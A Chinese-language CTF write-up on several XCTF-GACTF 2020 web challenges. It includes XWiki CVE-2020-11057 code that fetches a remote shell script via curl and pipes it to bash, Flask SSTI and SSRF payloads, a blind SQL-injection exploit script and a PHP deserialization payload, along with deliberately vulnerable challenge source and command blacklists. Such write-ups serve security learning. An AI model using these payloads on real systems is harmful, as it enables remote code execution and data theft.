XCTF-GACTF 2020 Writeup

Author:颖奇L’Amore Blog:www.gem-love.com 这个周末比较忙,就第一天中午打了一小会儿


XWiki

题目是XWiki 11.10.1,则可以使用CVE-2020-11057一键RCE:

  1. Create new user
  2. Go to profile -> Edit -> My dashboard -> Add gadget
  3. Choose either python or groovy.
  4. Paste following python/groovy code (for unix powered xwiki)
import os
os.popen("curl y1ng.vip/shell.txtbash")
r = Runtime.getRuntime()
proc = r.exec('curl y1ng.vip/shell.txtbash');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }
  1. Submit the gadget

反弹shell后,在根目录下没有发现flag,而是有一个readflag,要让你比较数的大小,脱下来,IDA打开:

可以发现需要比较大小464次,但是比较完成之后就直接printf一个Congratulations! Bye~~就没了。 而我们自己本来就是root权限,一般的readflag是root用户启动,然后flag文件是400权限,所以利用readflag去读,可是本题目既然已经是root了,就应该不是这种套路(u1s1 出题人连用户权限都不会设置就默认给root 更不可能会弄flag的权限)。 当然我们首先没有找到flag文件、其次在readflag里没有发现去读取flag的操作,那么flag应该就在这个readflag里面。 果然,reverse爷爷一下就看出了flag:


simpleflask

题目是新版本werkzurg,开了debug,应该是新版本算PIN码,然而可以直接读flag

出于好奇,顺便读一下源码:

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
"end", "os", "eval", "request", "write",
"mro", "compile", "execfile", "exec",
"subprocess", "importlib", "platform", "timeit",
"import", "linecache", "module", "getattribute",
"pop", "getitem", "decode", "popen",
"ifconfig", "flag", "config"]


def check(s):
# print(len(s))
if len(s) > 131:
abort(500, "hacker")
# abort(500, "hacker len")
for i in s:
if i not in white_list:
abort(500, "hacker")
# abort(500, "hacker white")
for i in black_list:
if i in s:
abort(500, "hacker")
# abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
try:
name = request.form["name"]
except exception:
return render_template_string("<h1>request.form[\"name\"]<h1>")

if name == "":
return render_template_string("<h1>hello world!<h1>")

check(name)
template = '<h1>hello {}!<h1>'.format(name)
res = render_template_string(template)
if "flag" in res:
abort(500, "hacker")
return res


if __name__ == '__main__':
app.run(host="0.0.0.0", debug=true)

当然PIN也能算:


EZFLASK

给了不全的源码:

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick

@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)

提交eval=ctf.__globals__ 得到神秘路由和其他一些信息:

{'my_eval': , 'app': <flask 'app_1'="">, 'waf_eval': , 'admin': , 'index': , 'waf_ip': , '__builtins__': <module '__builtin__'="" (built-in)="">, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <request 'http:="" 124.70.206.91:10000="" eval'="" [post]="">, '__package__': None, 'Flask': <class 'flask.app.flask'="">, 'ctf': , 'waf_path': , 'time': <module 'time'="" from="" '="" usr="" local="" lib="" python2.7="" lib-dynload="" time.so'="">, '__name__': '__main__', 'requests': <module 'requests'="" from="" '="" usr="" local="" lib="" python2.7="" site-packages="" requests="" __init__.pyc'="">, '__doc__': None}

之前做TJCTF 2018时,有个沙箱逃逸题是利用了co_consts来读常量得到waf规则,结果我测试了一下被黑名单过滤了,然后就去忙别的事了,过会儿回来发现队友用这个读出了内网端口,不清楚是我当时多打了空格啥的还是题目有改动。得到:

(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')

这里有个注释,是5000端口,下面我们来看看这个secret路由

但是他好像把127.0.0.1给ban了,很无语,也很无聊。因为127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。


import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

一个套娃SSTI,过滤了括号加号等,比较麻烦,后来被队友做出来的

ip=127.1.1.1&path={{url\_for.\_\_globals\_\_\['current\_app'\].\_\_dict\_\_}}&port=5000


SSSRFME

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL E_STRICT);


function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){

echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE FILTER_FLAG_NO_RES_RANGE);
}

if(!in_array($parsed['scheme'],array('http','https')) !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

return false;
}else{
return $url;
}
}


function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}

highlight_file(__FILE__);
curl($_GET['url']);

parse_url()存在SSRF漏洞,则可以打内网,根目题目暗示和EZFLASK有关联,所以也打一下5000端口,发现了套娃:

http://121.36.199.21:10808/?url=http://root:[email protected]:[email protected]/

测试发现为python3 urllib

根据题目hint说的Redis,打一下6379端口发现果然开了redis:

然后主从复制一把梭


carefuleyes

这个题是比赛结束后抽时间做的。www.zip得到源码,所有的提交都会被转义,没有办法直接注入。先看得到flag的点:

class XCTFGG{
private $method;
private $args;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function login() {
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

global $db;
$obj = $db->query($sql);

$obj = $obj->fetch_assoc();

global $FLAG;

if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}

function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args);
}

}

在upload中存在反序列化位点:

那么我们只要注出账号密码然后反序列化即可得到flag。注入位点主要在rename.php:

查询结果直接放进了新的查询中,则可造成二次注入;可利用$info['filename']这个回显来布尔盲注,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import HackRequests as HR
import requests as req
import random
from urllib.parse import quote as urlencode
import re

CHALLENGE_ADDRESS = 'gem-love.com:80'

def upload(name):
hack = HR.hackRequests()
raw = f'''POST /upload.php HTTP/1.1
Host: {CHALLENGE_ADDRESS}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862317
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------257708923430047524191624862317
Content-Disposition: form-data; name="upfile"; filename="%s.jpg"
Content-Type: image/jpeg

Y1ng
-----------------------------257708923430047524191624862317--
''' % name
hh = hack.httpraw(raw=raw, ssl=False)

def rename(name):
url = f'http://{CHALLENGE_ADDRESS}/rename.php'
data = {
'oldname' : name,
'newname' : "TEST%d.jpg" % random.randint(1,1000000)
}
header = {
"Content-Type" : "application/x-www-form-urlencoded",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Origin" : f"http://{CHALLENGE_ADDRESS}",
"Upgrade-Insecure-Requests" : "1"
}
r = req.post(url=url, data=data, headers=header)
return re.search(r'oldfilename\ :\ \w+\.jpg\ will\ be\ changed', r.text)


def main():
sql = "select group_concat(password) from user"
res = ""
for i in range(1,10):
for mid in range(32, 128):
name = f"Y1ng' or ascii(substr(({sql}),{i},1))={mid}#"
upload(name)
if rename(name):
res += chr(mid)
print(res)
break

if __name__ == '__main__':
main()

在给的un.sql中得到用户名:

INSERT INTO user VALUES ('XM', $db_pass, 'admin')

之后反序列化:

<?php
class XCTFGG{
private $method = "login";
private $args = array("XM", "qweqweqwe");
}
echo urlencode(serialize(new XCTFGG()));

Author: Y1ng
Link: https://www.gem-love.com/2020/09/01/xctf-gactf-2020-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
【腾讯云】热门云产品首单特惠秒杀,2核2G云服务器45元/年    【腾讯云】境外1核2G服务器低至2折,半价续费券限量免费领取!